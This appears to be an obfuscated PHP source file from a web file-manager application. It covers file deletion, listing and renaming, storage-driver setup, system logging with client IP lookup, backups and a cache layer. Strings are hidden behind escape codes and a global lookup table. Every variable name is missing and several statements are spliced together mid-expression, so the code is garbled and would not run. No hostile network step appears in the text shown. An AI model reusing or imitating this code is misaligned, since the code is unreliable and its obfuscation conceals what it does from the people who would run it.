_ . $[1444], !0); return !1; } public function delFile($) { $ = $this->iconvSystem($); if (!@unlink($)) { @chmod($
, $this->pathAuth); if (@unlink($)) { return !0; } $this->writeLog(__FUNCTION__ . $_SERVER[][1444], !0); return !1; } return
!0; } public function delFolder($) { $ =& $_SERVER[]; $ = $this->iconvSystem($); if (!is_dir($)) { return !0; } i
f (!($ = opendir($))) { return !1; } while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1359]
) { continue; } $ = $ . $[8] . $; if (is_file($) || is_link($)) { if (!unlink($)) { chmod($, $this->p
athAuth); if (!unlink($)) { return !1; } } } else { if (is_dir($)) { chmod($, $this->pathAuth); $ = $this->iconvApp($
); if (!$this->delFolder($)) { return !1; } } } } closedir($); return rmdir($); } public function rename($, $) { $
 =& $_SERVER[]; $ = $this->fileNameAuto($this->pathFather($), $); $ = $this->iconvSystem($); $ = $t
his->iconvSystem($); $ = $this->pathFather($); $ = rtrim($, $[8]) . $[8] . $; $ = @rename($
, $); $ = $this->iconvApp($); if ($) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $[1
444], !0); return !1; } public function size($) { $ = $this->iconvSystem($); return filesize_64($); } public functio
n info($) { $ = $this->iconvSystem($); if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile
($)) { return $this->fileInfo($); } } return !1; } protected function infoChildren($, &$, $ = true) { $ =& $_SER
VER[]; check_abort_echo(); $ = rtrim($, $[8]) . $[8]; if ($) { $ = $this->iconvSystem($); } if (!($
 = @opendir($))) { return; } while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1359]) { continue;
} $ = $ . $; if (is_file($) || is_link($)) { $[$[80]]++; $[$[79]] += filesize_64($); } else { if (i
s_dir($)) { $[$[81]]++; $this->infoChildren($, $, !1); } } } closedir($); } private function folderInfo($, $
= false) { $ =& $_SERVER[]; $ = rtrim($, $[8]) . $[8]; $ = $this->iconvApp($this->pathThis($)); if ($) {
return array($[32] => $, $[87] => $this->getPathOuter($), $[33] => $[78]); } $ = array($[32] => $, $[
87] => $this->getPathOuter($), $[33] => $[78], $[231] => @filectime($), $[88] => @filemtime($), $[1448] => @fil
eatime($), $[1449] => is_readable($), $[1450] => is_writable($), $[1451] => get_mode($)); return $; } private fu
nction fileInfo($, $ = false) { $ =& $_SERVER[]; $ = $this->iconvApp($this->pathThis($)); if ($) { retu
rn array($[32] => $, $[87] => $this->getPathOuter($), $[33] => $[230], $[79] => $this->size($), $
[169] => $this->ext($)); } $ = array($[32] => $, $[87] => $this->getPathOuter($), $[33] => $[230],
$[231] => @filectime($), $[88] => @filemtime($), $[1448] => @fileatime($), $[79] => $this->size($
), $[169] => $this->ext($), $[1449] => is_readable($), $[1450] => is_writable($), $[1451] => get_mode(
$)); return $; } public function exist($) { $ = $this->iconvSystem($); return @file_exists($); } public function
isFile($) { $ = $this->iconvSystem($); return @is_file($); } public function isFolder($) { $ = $this->iconvSys
tem($); return @is_dir($); } public function listPath($, $ = false) { $ =& $_SERVER[]; $ = $this->iconvSyste
m($); $ = rtrim($, $[8]) . $[8]; $ = array($[85] => array(), $[86] => array()); if (!($ = @opendir($))
) { return $; } while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1359]) { continue; } $ = $ .
$; if (is_file($)) { $[$[86]][] = $this->fileInfo($, $); } else { $[$[85]][] = $this->folderInfo($
, $); } } closedir($); return $; } public function listAll($, &$ = array()) { $ =& $_SERVER[]; $ = $this
->iconvSystem($); $ = rtrim($, $[8]) . $[8]; if (!($ = @opendir($))) { return $; } while (($ = readdi
r($)) !== !1) { if ($ == $[10] || $ == $[1359]) { continue; } $ = $ . $; $ = is_dir($) &
& !is_link($) ? 1 : 0; $ = $ ? $ . $[8] : $; $[] = array($[87] => $, $[78] => $, $
[88] => intval(@filemtime($)), $[79] => $ ? 0 : intval($this->size($))); if ($) { $this->listAll($, $
); } } closedir($); return $; } public function has($, $ = false, $ = true) { $ =& $_SERVER[]; $
 = $this->iconvSystem($); $ = rtrim($, $[8]) . $[8]; if (!($ = @opendir($))) { return !1; } $ = 0; $
 = 0; $ = 0; while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1359]) { continue; } $ = $
 . $; if ($) { $++; if (@is_file($)) { $++; } else { $++; } if ($ > 10000) { break; } continue; } if ($
) { if (@is_file($)) { return !0; } } else { if (@is_dir($ . $[8])) { return !0; } } } closedir($); if ($) {
return array($[239] => $, $[240] => $); } return !1; } public function hashSimple($) { $ =& $_SERVER[]; if
(!$) { return md5($[12]); } $ = $this->iconvSystem($); $ = $this->size($); $ = 200; $ = 50; if ($
 <= $ * $) { return $this->hashMd5($) . $; } $ = $[12]; $ = intval($ / $); $ = fopen
($, $[1452]); if (!$) { return $; } for ($ = 0; $ < $; $++) { fseek_64($, $ * $); $
 .= fread($, $); } fseek_64($, $ - $); $ .= fread($, $); fclose($); return md5($) . $
; } public function getContent($) { $ = $this->iconvSystem($); return file_get_contents($); } public function setC
ontent($, $ = '') { $ = $this->iconvSystem($); $ = @file_put_contents($, $, LOCK_EX); if (!$) { $this->w
riteLog(__FUNCTION__ . $_SERVER[][1444], !0); } clearstatcache(); @chmod($, $this->pathAuth); return $ === !1 ? !1 : !0; } p
ublic function fileSubstr($, $ = 0, $ = false) { $ =& $_SERVER[]; $ = $this->iconvSystem($); if ($
 === !1) { $ = $this->size($); } if ($ <= 0) { return $[12]; } $ = fopen($, $[1452]); if (!$)
{ return !1; } fseek_64($, $); $ = fread($, $); fclose($); if (!$) { $this->writeLog(__FUNCTION__ .
$[1444], !0); } return $; } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { if ($) { return $th
is->moveFile($, $); } return $this->copyFile($, $); } public function setModifyTime($, $ = '') { @touch($,
intval($)); } public function download($, $) { return $this->iconvSystem($); } } goto E; C: class StorageModel
extends ModelBaseLight { public $optionType = "\123\171\x73\164\145\155\x2e\163\x74\157\x72\x61\x67\x65\x4c\x69\163\164"; public $field = ar
ray("\156\x61\x6d\145", "\163\151\x7a\x65\x4d\x61\170", "\x73\x79\x73\x74\x65\x6d", "\x64\x65\x66\x61\165\x6c\164", "\x64\162\x69\x76\145\x7
2", "\143\x6f\x6e\146\151\x67"); public function listData($ = false, $ = "\155\157\144\x69\146\x79\124\x69\x6d\145", $ = false
) { $ =& $_SERVER[]; $ = parent::listData($, $, $); if ($) { return $; } $ = array(); if ($GLOBALS[
$[2290]]) { $ = $this->ioSizeUseGet(array_to_keyvalue($, $[12], $[483])); } foreach ($ as $ => $) { uns
et($[$][$[6]]); $[$][$[1951]] = isset($[$[$[483]]]) ? $[$[$[483]]] : 0; } return $
; } public function ioSizeUseGet($) { $ =& $_SERVER[]; if (!$) { return array(); } $ = $[2291] . implo
de($[50], $); $ = Cache::get($); if ($) { return $; } $ = array($[890] => $[483], $[
2292] => $[79]); $ = array($[890] => array($[7], $)); $ = Model($[862])->field($)->where($
)->group($[890])->select(); $ = array_to_keyvalue($, $[483], $[79]); Cache::set($, $, 600); return $
; } public function getConfig($) { $ = parent::listData($); return json_decode($[$_SERVER[][6]], !0); } public f
unction update($, $) { $ =& $_SERVER[]; $ = $[$[32]]; $ = array_to_keyvalue(parent::listData(), $
[32]); if (isset($[$]) && $[$][$[483]] != $) { return !1; } $this->checkPwd($, $); if (isset($[$
[2293]]) && $[$[2293]] == $[91]) { $this->checkConfig($); } unset($[$[2293]]); $ = parent::update($
, $); if ($ && $[$[37]]) { $ = 0; foreach ($ as $) { if ($[$[37]] && $[$[483]] != $
) { $ = $[$[483]]; parent::update($[$[483]], array($[37] => 0)); } } $this->updateBackup($, $
); } return $; } public function add($) { $ =& $_SERVER[]; $ = array_to_keyvalue(parent::listData(), $[3
2]); if (isset($[$[$[32]]])) { return !1; } $this->checkConfig($); $ = parent::insert($); if ($ && $[$
[37]]) { foreach ($ as $) { if ($[$[37]]) { parent::update($[$[483]], array($[37] => 0)); } } } retur
n $; } public function updateBackup($, $) { $ =& $_SERVER[]; if (!$) { return; } $ = Model($[821])->c
onfig(); if ($[$[1734]] != $[91] || $[$[825]] != $) { return; } $ = Model($[843])->get($[8
56]); $ = json_decode($, !0); if (!$) { return; } $[$[825]] = $; Model($[843])->set(array($[8
56] => $)); } public function checkPwd($, &$) { $ =& $_SERVER[]; if (empty($[$[6]])) { return; } $ =
json_decode($[$[6]], !0); $ = $[12]; $ = array($[2294], $[2295], $[963]); foreach ($ as $) { if
(isset($[$])) { $ = $; break; } } if (!$) { return; } $ = $this->getConfig($); $ = $[$]; $ = $
[$]; if ($ == str_repeat($[220], strlen($))) { $[$] = $; $[$[6]] = json_encode($); } else
{ if ($ != $) { $[$[2293]] = $[91]; } } } public function checkConfig(&$, $ = false) { $ =& $_SERVER
[]; $ = strtolower($[$[98]]); $ = json_decode($[$[6]], !0); foreach ($ as $ => $) { if
(is_string($)) { $[$] = trim($); } } $[$[2296]] = rand_string(6); $ = $GLOBALS[$[6]][$[92]][$
[898]]; $ = isset($[$]) ? $[$] : ucfirst($); $ = $[77] . $; if (!$ || !class_exists($
)) { if ($) { return LNG($[2297]); } write_log(array($[2298], $, get_caller_info()), $[215]); show_json(LNG($
[2297]), !1, $); } $ = new $($); if (in_array($, $->objectDriver)) { try { if (!$->isBucketCors() &&
!$->setBucketCors()) { $ = LNG($[2299]); $ .= $[2300] . LNG($[2301]); } } catch (Exception $) { $
= $->getMessage(); } if (isset($)) { return $this->_parseError($, $, $); } if ($ == $[68] && !$
->checkRegion()) { return $this->_parseError(LNG($[2302]), $, $); } } $ = rtrim($[$[1258]], $[8]) . $
[8]; $ = $->getPath($ . $[1262]); try { if ($ == $[109]) { $->mkdir($); } $ = $
->mkfile($); if (!$) { $ = LNG($[2299]); } } catch (Exception $) { $ = $->getMessage(); } if (isset($
)) { return $this->_parseError($, $, $); } $[$[1258]] = $; $[$[6]] = json_encode($); $
[$[98]] = $; return !0; } private function _parseError($, $, $ = false) { $ =& $_SERVER[]; if ($
 == $[68] && stripos($, $[2303])) { $ = explode($[10], $); $ = isset($[1]) ? $[1] : $[12]; $ =
array($[2304] => LNG($[2305]), $[2306] => LNG($[2307])); if (isset($[$])) { $ = $[$]; } } if (stripos($
, $[2308]) === 0) { $ = strpos($, $[178]); if ($ === !1) { $ = strpos($, $[4]); } if ($ !== !1)
{ $ = substr($, $ + 1); } } $ = LNG($[1265]) . $; if ($) { return $; } show_json($, !1); } public fun
ction driverListSystem() { $ =& $_SERVER[]; $ = parent::listData(); $ = array(); foreach ($ as $) { unset($
[$[231]], $[$[88]]); $[$[6]] = json_decode($[$[6]], !0); $[] = $; } return $; } public functio
n defaultDriver() { $ =& $_SERVER[]; $ = parent::listData(); $ = array_filter_by_field($, $[37], 1); $ =
$[0]; if ($) { $[$[6]] = json_decode($[$[6]], !0); } return $; } public function driverInfo($) { $
=& $_SERVER[]; $ = array_to_keyvalue(parent::listData(), $[483]); if (!isset($[$])) { return !1; } $ = $
[$]; $[$[6]] = json_decode($[$[6]], !0); return $; } public function remove($) { $this->removeShareItems($
); return parent::remove($); } public function removeWithFile($, $, $, $ = false) { $ =& $_SERVER[];
$ = array($[890] => $); $ = Model($[552])->where($)->count(); $ = Model($[552])->where($)->sum($
[79]); $ = $ . $[2309] . $; $ = LNG($ == $[628] ? $[2310] : $[2311]); $ = new TaskFile
Transfer($, $[215], $, $ . $[470] . $[$[32]] . $[214] . $); $->task[$[836]] = (doub
le) $; $ = KodIO::defaultDriver(); $ = $[$[483]]; $ = $ = $ = array(); $ = Model($[230])->wh
ere($)->field($[2312])->select(); foreach ($ as $) { $ = $[$[549]]; if ($) { $[] = $; continue
; } $ = $[$[87]]; $ = get_path_father($); $[] = $; $ = str_replace("\x7b\x69\x6f\x3a{$}\175\57",
"\173\x69\157\72{$}\x7d\57", $); if (!IO::exist($)) { $[] = $; $->updateFileEnd($[$[32]], $[$[7
9]]); write_log($[2313] . $, $[1894]); continue; } $ = IO::move($, $, REPEAT_RENAME); if (!$) { $[] = $
; $->updateFileEnd($[$[32]], $[$[79]]); write_log($[2314] . $, $[1894]); continue; } $ = array
($[549] => $); $ = array($[890] => $, $[87] => $); Model($[230])->where($)->save($); } $
 = $->task; if (!$) { Cache::set($, $); } $->end(); $ = array_unique($); $ = array_unique($); if (
!$ && ($ || $)) { $ = array(); if ($) { $[] = sprintf(LNG($[2315]), count($)); } if ($) { $[] = s
printf(LNG($[2316]), count($)); } $ = sprintf(LNG($[2317]), implode($[2318], $)) . $[2319] . date($
[2320]) . $[2321]; if ($ == $[1931]) { $ .= $[2322] . LNG($[2323]); } $[$[1260]] = $; Cach
e::set($, $); unset($[$[6]]); $ = array($[483] => $, $[2201] => $[628], $[32] => $
[$[32]], $[1283] => $); Hook::trigger($[1775], array($[1283] => $, $[1293] => !0)); show_json($,
!1, 100111); } if ($ == $[628]) { return !0; } if ($ || $) { $ = array_merge($, $); $ = array_filter(array_
unique($)); $this->removeByFileID($); } if ($) { $ = array_filter(array_unique($)); foreach ($ as $) { $
 = IO::has($, !0); if (!$[$[239]] && !$[$[240]]) { IO::remove($); } } } return $this->remove($); } private
function removeByFileID($ = array()) { $ =& $_SERVER[]; if (empty($)) { return; } $ = array($[549] => array($
[7], $)); $ = Model($[1414])->where($)->field($[193])->select(); if (!$) { return Model($[552])->remov
e($); } $ = array_to_keyvalue($, $[12], $[193]); foreach ($ as $) { Model($[897])->removeNow($, !1
); } } private function removeShareItems($) { $ =& $_SERVER[]; $ = "\x7b\x69\157\x3a{$}\175\x2f"; $ = array($
[193] => 0, $[1253] => array($[467], "{$}\x25")); $ = Model($[1942])->where($)->field($[673])->select(); if (empt
y($)) { return; } $ = array_to_keyvalue($, $[12], $[673]); Model($[672])->remove($); } } class SystemLightAppModel
extends ModelBaseLight { public $optionType = "\123\171\163\164\x65\x6d\x2e\114\151\x67\150\164\101\160\x70"; public $modelType = "\x53\x79\
163\164\x65\155\117\160\x74\x69\x6f\x6e"; public $field = array("\x6e\141\x6d\145", "\x67\x72\157\165\160", "\144\145\163\x63", "\x63\x6f\x6
e\x74\145\x6e\x74"); public function listData($ = false, $ = "\x6d\157\144\x69\x66\x79\124\151\155\x65", $ = true) { return pa
rent::listData($, $, $); } public function remove($) { $ = $this->findByName($); if (!$) { return !1; }
return parent::remove($[$_SERVER[][483]]); } public function add($) { if ($this->findByName($[$_SERVER[][32]]))
{ return !1; } return parent::insert($); } public function update($, $) { $ =& $_SERVER[]; $ = $this->findBy
Name($); $ = $this->findByName($[$[32]]); if (!$ || $ && $[$[483]] != $[$[483]]) { retu
rn !1; } return parent::update($[$[483]], $); } } class SystemLogModel extends ModelBase { protected $tableName = "\163\x79\1
63\164\x65\155\x5f\154\x6f\x67"; protected $dataAuto = array(array("\143\x72\145\x61\x74\x65\x54\151\x6d\x65", "\164\x69\x6d\x65", "\x69\x6e
\163\145\162\164", "\x66\165\x6e\x63\x74\151\x6f\x6e")); public $typeList; function __construct() { parent::__construct(); $this->typeList =
$this->typeListAll(); } public function typeListAll() { $ =& $_SERVER[]; return array($[2324] => LNG($[2325]), $[
2326] => LNG($[2327]), $[1905] => LNG($[2328]), $[2329] => LNG($[2330]), $[2331] => LNG($[2332]), $[
2333] => LNG($[2334]), $[2335] => LNG($[2336]), $[1935] => LNG($[2336]), $[1936] => LNG($[2337]), $[
2338] => LNG($[2339]), $[2340] => LNG($[2341]), $[2342] => LNG($[2343]), $[2344] => LNG($[2345]), $[
1933] => LNG($[2346]), $[2347] => LNG($[2348]), $[1940] => LNG($[2349]), $[2350] => LNG($[2351]), $[
2352] => LNG($[2353]), $[2354] => LNG($[2355]), $[2356] => LNG($[2357]), $[1943] => LNG($[2358]), $[
1944] => LNG($[2359]), $[2360] => LNG($[2361]), $[2362] => LNG($[2363]), $[2364] => LNG($[2365]), $[
1938] => LNG($[2366]), $[2367] => LNG($[2368]), $[1937] => LNG($[2369]), $[2370] => LNG($[2371]), $[
2372] => LNG($[2373]), $[2374] => LNG($[2373]), $[2375] => LNG($[2376]), $[2377] => LNG($[2377]), $[
2378] => LNG($[1909]), $[2379] => LNG($[2380]), $[2381] => LNG($[2382]), $[2383] => LNG($[2384]), $[
2385] => LNG($[2386]), $[2387] => LNG($[2388]), $[2389] => LNG($[2389]), $[2390] => LNG($[2391]), $[
2392] => LNG($[2393]), $[2394] => LNG($[2395]), $[2396] => LNG($[2397]), $[2398] => LNG($[2399]), $[
2400] => LNG($[2401]), $[212] => LNG($[212]), $[213] => LNG($[2402]), $[2403] => LNG($[2403])); } private
function typeFile() { $ =& $_SERVER[]; $ = array($[1940] => array($[1941]), $[2342] => array($[2404]),
$[2344] => array($[2405]), $[1933] => array($[1934], $[2406]), $[2352] => array(), $[2354] => array(), $
[2356] => array(), $[1943] => array($[1945]), $[1944] => array($[1945]), $[2360] => array($[2407]), $
[2362] => array($[2407]), $[2364] => array($[2408]), $[2350] => array($[2409]), $[1938] => array($[2410]
), $[2367] => array($[2411]), $[1937] => array($[1939])); return $; } private function typeAll() { $ =& $_SER
VER[]; $ = $this->typeList; $ = array_filter($this->typeFile()); foreach ($ as $ => $) { $[$[0]] =
$[$]; } $[$[1945]] = LNG($[2412]); $[$[2407]] = LNG($[2413]); return $; } public function
addLog($, $ = array()) { $ =& $_SERVER[]; if (!isset($this->typeList[$])) { return; } $ = Session::get($
[2104]); if (!$) { $ = _get($, $[1764], 0); } if ($ == $[2379] && is_array($[$[2414]]) && !$[$
[2414]]) { return; } $ = get_client_ip(); if (!$ || strlen(json_encode($)) >= 1024 * 64) { if ($ && is_array($))
{ $ = array_intersect_key($, array_flip($[483], $[32])); $[$[2415]] = $; } else { $ = array($[2415]
=> $); } } else { if (is_array($)) { $[$[2415]] = $; } else { $ = array($[1283] => $, $[2415] =>
$); } } $ = array($[1754] => Session::sign(), $[1755] => intval($), $[33] => $, $[1757] => json_encode(
$)); parent::add($); } public function remove($) { $this->where(array($_SERVER[][501] => $))->delete(); } privat
e function _makeOrder($ = '') { $ =& $_SERVER[]; $ = $[231]; $ = array($[531] => $[532], $[533] => $[53
4]); $ = Input::get($[539], $[7], $[2140], array($[2058], $[533])); $ = $[$]; $ = $ . "{$}\40{$
}"; return $this->order($); } public function get($ = '') { $ =& $_SERVER[]; if (!$) { show_json(array()); } $
 = array(); if ($[$[1764]]) { $[$[1764]] = $[$[1764]]; } if (isset($[$[833]])) { $ = $
[$[833]]; $ = isset($[$[834]]) ? $[$[834]] : time(); $[$[231]] = array($[418], array($, $
)); } if ($[$[33]]) { $ = explode($[50], $[$[33]]); $ = $this->typeFile(); $ = array(); foreach (
$ as $) { $[] = $; if (isset($[$])) { $ = array_merge($, $[$]); } } $ = array_uniqu
e($); if ($) { $[$[33]] = array($[7], $); } } else { $[$[33]] = array($[2416], $[2417])
; } if (!empty($[$[2415]])) { $[$[534]] = array($[467], "\45{$[$[2415]]}\x25"); } $ = $this->_makeOrd
er()->where($)->selectPage(); if (empty($[$[454]])) { show_json(array(), !0, $[$[451]]); } $[$[454]] = $this
->logList($[$[454]]); return $; } private function ipAddress(&$) { $ =& $_SERVER[]; if (!empty($[$[
2415]])) { $ = IpLocation::get($[$[2415]]); } else { $ = LNG($[2418]); } $[$[2419]] = $; } pri
vate function descZipDownload($, &$) { $ =& $_SERVER[]; if (!isset($[$[2420]])) { return; } $ = json_decode(
$[$[2420]], !0); foreach ($ as $) { try { $ = IO::infoFullSimple($[$[87]]); } catch (Exception $) { c
ontinue; } $[$[87]] = $[$[87]]; $[] = $[$[193]] = $[$[193]]; $[] = $[$[2196]] = $[$
[192]]; break; } return $; } private function getSourceList(&$) { $ =& $_SERVER[]; $ = array(); foreach ($
as $ => $) { $ = json_decode($[$[534]], !0); if ($[$[33]] == $[1936]) { $ = $this->descZipDo
wnload($, $); $[$][$[534]] = json_encode($); continue; } if (strpos($[$[33]], $[2198]) !== 0
) { if (!isset($[$[87]]) || strpos($[$[33]], $[2421]) !== 0) { continue; } try { $ = IO::infoFullSimple($
[$[87]]); } catch (Exception $) { continue; } $[] = $[$[193]] = $[$[193]]; $[] = $[$[2
196]] = $[$[192]]; $[$][$[534]] = json_encode($); continue; } $[] = $[$[193]]; $[] = $
[$[2196]]; if ($[$[33]] == $[628]) { $[] = $[$[534]][$[1237]]; $[] = $[$[534]
][$[1238]]; } if ($[$[33]] == $[2207]) { $[] = $[$[534]][$[193]]; } } if (!$) { return array(
); } return Model($[897])->sourceListInfo($, !0); } private function logList($) { $ =& $_SERVER[]; $ = array_to
_keyvalue($, $[12], $[1764]); $ = Model($[606])->userListInfo(array_unique($)); $ = $this->getSourceList($)
; $ = $this->typeAll(); $ = array(); $ = array(); foreach ($ as $ => $) { $ = $[$[33]]; $ = isse
t($[$[$[1764]]]) ? $[$[$[1764]]] : !1; $ = strpos($, $[2422]) === 0 ? LNG($[2423]) : LNG($[2
418]); $[$[32]] = isset($[$[32]]) ? $[$[32]] : LNG($[2418]); $[$[2251]] = isset($[$[2251
]]) ? $[$[2251]] : $[12]; $[$[1653]] = isset($[$]) ? $[$] : $; $[$[2139]] = $;
$ = json_decode($[$[534]], !0); $[$[2415]] = isset($[$[2415]]) ? $[$[2415]] : $[12]; $[
$[2419]] = IpLocation::get($[$[2415]]); if (strpos($, $[2198]) === 0 || isset($[$[2196]])) { $[$[9
0]] = $[$[$[193]]]; $[$[2212]] = $[$[$[2196]]]; if ($[$[33]] == $[628]) { $[$
[534]][$[1237]] = $[$[$[534]][$[1237]]]; $[$[534]][$[1238]] = $[$[$[534]][$[1238]]]
; } if ($[$[33]] == $[2207]) { $[$[534]][$[193]] = $[$[$[534]][$[193]]]; } if ($[$[
33]] == $[1931]) { $[$[2212]] = $[$[90]]; $[$[2196]] = $[$[2212]][$[193]]; $[$[90]
] = !1; $[$[193]] = $[12]; } $ = array($[1931], $[2194]); if (!in_array($[$[33]], $)) { if ($
[$[90]] && $[$[90]][$[190]] == $[191]) { $[] = $[$[483]]; unset($[$]); continue; } if ($[$
[2212]] && $[$[2212]][$[190]] == $[191]) { $[] = $[$[483]]; unset($[$]); continue; } } } $[$
[534]] = $; unset($[$[2424]]); $[] = $; } $this->clearSystemPathLog($); return $; } private function clear
SystemPathLog($) { $ =& $_SERVER[]; if (count($) == 0) { return; } $ = array($[483] => array($[7], array
_unique($))); $this->where($)->delete(); } public function deviceList($, $ = 0) { $ =& $_SERVER[]; $ =
array($[1764] => $, $[231] => array($[1088], $), $[33] => $[1905]); $ = array(); $ = $th
is->field($[2425])->where($)->order($[2210])->limit(50)->select(); foreach ($ as $ => $) { if ($ > 0 &&
abs($[$[231]] - $[$ - 1][$[231]]) < 5) { continue; } $ = json_decode($[$[534]], !0); $[$
[2415]] = isset($[$[2415]]) ? $[$[2415]] : $[12]; unset($[$[2415]]); $ = $this->deviceType($
[$[2199]]); if (isset($[$])) { continue; } $[$[2419]] = IpLocation::get($[$[2415]]); $[$
[534]] = $; $[$] = $; } return array_values($); } public function deviceType($) { return $; } } goto a
; e: class BackupFile { public function __construct() { } public function index() { $ = Backup::get(); $ = $[$_SERV
ER[][378]][$_SERVER[][230]][$_SERVER[][549]]; $ = array($_SERVER[][550] => array($_SERVER[][880], $)
, $_SERVER[][881] => array($_SERVER[][416], $[$_SERVER[][825]])); $ = (int) Model($_SERVER[][862])->where($
)->count($_SERVER[][549]); $ = (int) Model($_SERVER[][862])->where($)->sum($_SERVER[][79]); $ = new Ta
skFileTransfer($_SERVER[][882], $_SERVER[][856], $, LNG($_SERVER[][857]) . $_SERVER[][858] . LNG($_SERVER[
][883])); $->task[$_SERVER[][836]] = $; $ = array($_SERVER[][884] => $, $_SERVER[][885] => $, $
_SERVER[][886] => time()); Backup::set($); $ = !0; $ = $this->storeIds(); $ = 1; $ = $ =
0; $ = array(); $ = $ = 0; do { $ = $_SERVER[][887]; $ = Model($_SERVER[][862])->where($)->field($
)->order($_SERVER[][888])->selectPage($ = !empty($[$_SERVER[][454]]) ? $[$_SERVER[][454]]
: array(); foreach ($ as $) { if (!$this->_fileExist($, $, $)) { write_log("\146\151\x6c\x65\x20\x6e\157\x74\40\x65
\x78\151\163\x74\x2e\146\x69\x6c\x65\x49\x44\x3a{$[$_SERVER[][549]]}\x2c\x20\x70\x61\164\150\x3a{$[$_SERVER[][87]]}",
$_SERVER[][889]); continue; } $ = $[$_SERVER[][87]]; $ = "\173\151\157\72{$[$_SERVER[][825]]}\175" . s
ubstr($, strlen("\x7b\x69\157\x3a{$[$_SERVER[][890]]}\x7d")); if (IO::exist($)) { $->updateFileEnd($[$_SERVE
R[][32]], $[$_SERVER[][79]]); } else { $ = get_path_father($); IO::mkdir($); if (!IO::copy($, $,
$_SERVER[][891])) { write_log($_SERVER[][892] . $ . $_SERVER[][876] . $ . $_SERVER[][178], $_SERVER[
][856]); $ = !1; break; } } $ = $[$_SERVER[][549]]; $ += 1; $ += $[$_SERVER[][79]]; $ += 1; $
 += $[$_SERVER[][79]]; if ($ >= 1024 * 1024 * 100) { $ = array($_SERVER[][824] => $, $_SERVER[][893
] => $, $_SERVER[][894] => $); Backup::set($); $ = $ = 0; } } $ = count($); $++; } while ($ =
= $nd(); $ = array($_SERVER[][895] => 1, $_SERVER[][834] => time(), $_SERVER[][848] => 1, $_SERVER[
][824] => $, $_SERVER[][896] => time()); if ($) { $[$_SERVER[][893]] = $; $[$_SERVER[][894]]
= $; } Backup::set($); return !0; } private function _fileExist($, &$, $) { $ =& $_SERVER[]; $ = $
[$[87]]; if (in_array($[$[549]], $)) { return !1; } if (!in_array($[$[890]], $)) { return !1; } if (IO::
exist($)) { return !0; } $ = get_path_father($); if (IO::exist($)) { $[] = $[$[549]]; return !1; } $ =
array($[890] => $[$[890]], $[87] => array($[467], "{$}\45")); $ = Model($[862])->where($)->field($
[550])->select(); $ = array_merge($, array_to_keyvalue($, $[12], $[549])); return !1; } private function _fileFilter($
) { $ =& $_SERVER[]; return; if (empty($)) { return; } $ = array($[549] => array($[7], array_unique($
))); $ = Model($[897])->where($)->field($[193])->select(); foreach ($ as $) { Model($[897])->remove(
$[$[193]], !1); } } private function storeIds() { $ =& $_SERVER[]; $ = Model($[840])->listData(); $ = a
rray(); $ = $GLOBALS[$[6]][$[92]][$[898]]; foreach ($ as $) { $ = strtolower($[$[98]]); if
(!isset($[$])) { continue; } $ = $[77] . (isset($[$]) ? $[$] : ucfirst($)); if (!class_e
xists($)) { continue; } $[] = $[$[483]]; } return $; } } class Cache { protected static $handle; protected stati
c $memoryCache; public static function init() { $ =& $_SERVER[]; if (self::$handle) { return self::$handle; } self::$memoryCache
= array(); $ = $GLOBALS[$[6]][$[434]]; $ = $[$[$[899]]]; $ = $[$[900]]; switch ($
[$[899]]) { case $[21]: self::$handle = Model($[901]); break; case $[902]: self::$handle = new CacheRedis($, $
); break; case $[903]: self::$handle = new CacheMemcached($, $); break; case $[230]: self::$handle = new CacheFile($
, $); break; default: break; } return self::$handle; } public static function initReset() { self::$handle = !1; self::$memoryCache =
!1; } public static function key($) { if (is_array($) || is_object($)) { $ = json_encode($); } $ = rawurlencode($
); return md5(KOD_SITE_ID . $_SERVER[][11] . $); } public static function get($, $ = false) { $ = self::key($
); $ = self::init(); if ($) { return unserialize($->get($)); } if (!isset(self::$memoryCache[$])) { $ = $->
get($); self::$memoryCache[$] = unserialize($); } return self::$memoryCache[$]; } public static function set($, $
, $ = false) { $ =& $_SERVER[]; $ = self::key($); if (isset(self::$memoryCache[$]) && self::$memoryCache[
$] === $) { return !0; } if ($ === 0) { self::$memoryCache[$] = $; return !0; } $ = self::init(); $ = ser
ialize($); CacheLock::lock($ . $[904]); $ = $->set($, $, $); self::$memoryCache[$] = $; Cach
eLock::unlock($ . $[904]); return $; } public static function getCall($, $, $, $ = array()) { $ =& $_SE
RVER[]; $ = self::get($); if ($ || $ === $[12]) { return $; } $ = call_user_func_array($, $); $
 = $ ? $ : $[12]; self::set($, $, $); return $; } public static function remove($) { $ = self::k
ey($); unset(self::$memoryCache[$]); self::clearTimeout(); CacheLock::lock($); $ = self::init()->remove($); CacheLock
::unlock($); return $; } public static function removeMemory($) { $ = self::key($); unset(self::$memoryCache[$])
; } public static function clearMemory($ = false) { if ($) { $ = self::key($); unset(self::$memoryCache[$]); return; } s
elf::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exis
ts(self::init(), $_SERVER[][905])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::in
it(), $_SERVER[][906])) { self::init()->clearTimeout(); } } } class CacheFile { public $cachePath; public $prefix; public $cacheTime;
public function __construct($, $) { $ =& $_SERVER[]; $this->cachePath = $[$[87]]; $this->prefix = $[907];
$this->cacheTime = $; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, DEFAULT_PERRMISSIONS, !0); } } public function getF
ile($) { $ =& $_SERVER[]; $ = str_replace(array($[908], $[100], $[76]), $[909], $); return $
this->cachePath . $[910] . $ . $[911]; } public function set($, $, $ = false) { $ = $ ? $ : $this->ca
cheTime; $ = $this->getFile($); if (file_put_contents($, $this->prefix . $, LOCK_EX)) { @touch($, intval(time() + $))
; clearstatcache(); return !0; } @unlink($); return !1; } public function get($) { $ = $this->getFile($); if (file_exists(
$) && filemtime($) < time()) { @unlink($); return !1; } $ = @file_get_contents($); return substr($, strlen($this
->prefix)); } public function remove($) { $ = $this->getFile($); return @unlink($); } public function deleteAll() { $ =&
$_SERVER[]; $ = scandir($this->cachePath); foreach ($ as $) { $ = $this->cachePath . $; if (strpos($, $[9
11]) && strpos($, $[912])) { @unlink($); } } } public function clearTimeout() { $ =& $_SERVER[]; $ = scandir(
$this->cachePath); foreach ($ as $) { $ = $this->cachePath . $; if (strpos($, $[911]) && strpos($, $
